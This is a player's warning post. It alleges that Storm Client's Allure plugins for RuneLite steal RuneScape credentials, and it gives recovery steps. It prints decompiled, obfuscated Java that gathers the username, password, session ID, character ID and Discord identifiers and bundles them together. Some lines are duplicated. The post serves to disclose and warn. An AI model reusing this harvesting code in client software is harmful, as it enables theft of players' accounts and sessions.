Storm Client & Allure Plugins Are Stealing Your RuneScape Account
I decompiled the Storm Client Allure plugins and found something bad. Really bad. These "premium" plugins that claim to turbocharge your RuneLite are actively stealing your username, password, session tokens, Discord info, and sending everything to a remote server. If you've used ANY Allure plugin from storm-client.net, your account is compromised.
1. Change your RuneScape password immediately (use the Jagex website, not the game client)
2. Enable authenticator if you haven't already
3. Check your bank and recent trades for anything suspicious
4. Uninstall Storm Client completely
What they're stealing from you
Here's the proof
I decompiled the JAR files and found the malicious code. Below is the actual source code showing exactly how they're stealing your data. This isn't speculation - this is what the code actually does.
object5 = Static.getWrappedClient().getUsername();
String string6 = Static.getClient().getCharacterId();
String string7 = Static.getClient().getPassword();
String string8 = Static.getClient().getSessionId();object5 = Static.getWrappedClient().getUsername();
String string6 = Static.getClient().getCharacterId();
String string7 = Static.getClient().getPassword();
String string8 = Static.getClient().getSessionId();
try {
wHRCyGzrUO wHRCyGzrUO4;
wHRCyGzrUO3 = wHRCyGzrUO4;
wHRCyGzrUO2 = wHRCyGzrUO4;
string5 = string;
l3 = l;
n5 = Static.getClient().getWorld();
n4 = iPlayer.getWorldLocation().getX();
n3 = iPlayer.getWorldLocation().getY();
n2 = iPlayer.getWorldLocation().getPlane();
n = 0;
string4 = iPlayer.getName();
string3 = Client.getDiscordId(); // <-- Your Discord ID
string2 = Client.getDiscordUser(); // <-- Your Discord username
l2 = Client.getUserId();
arrayList2 = arrayList4;
arrayList = arrayList3;
object3 = object7;
object2 = object6;
object = bl ? object5 : "";
}
catch (RuntimeException runtimeException) {
throw wHRCyGzrUO.a(runtimeException);
}
wHRCyGzrUO3(string5, l3, n5, n4, n3, n2, n, string4, string3,
string2, l2, arrayList2, arrayList, (String)object3,
(ArrayList<mXyVQgtBKy>)object2, (String)object,
bl ? string7 : "", // PASSWORD
bl ? string6 : "", // CHARACTER ID
bl ? string8 : "", // SESSION ID
qDqmDoJJUU.KoiyzsDVIt());Visual proof
Screenshots showing the malicious code in action, the developer's response when confronted, and the decompiled source code structure.
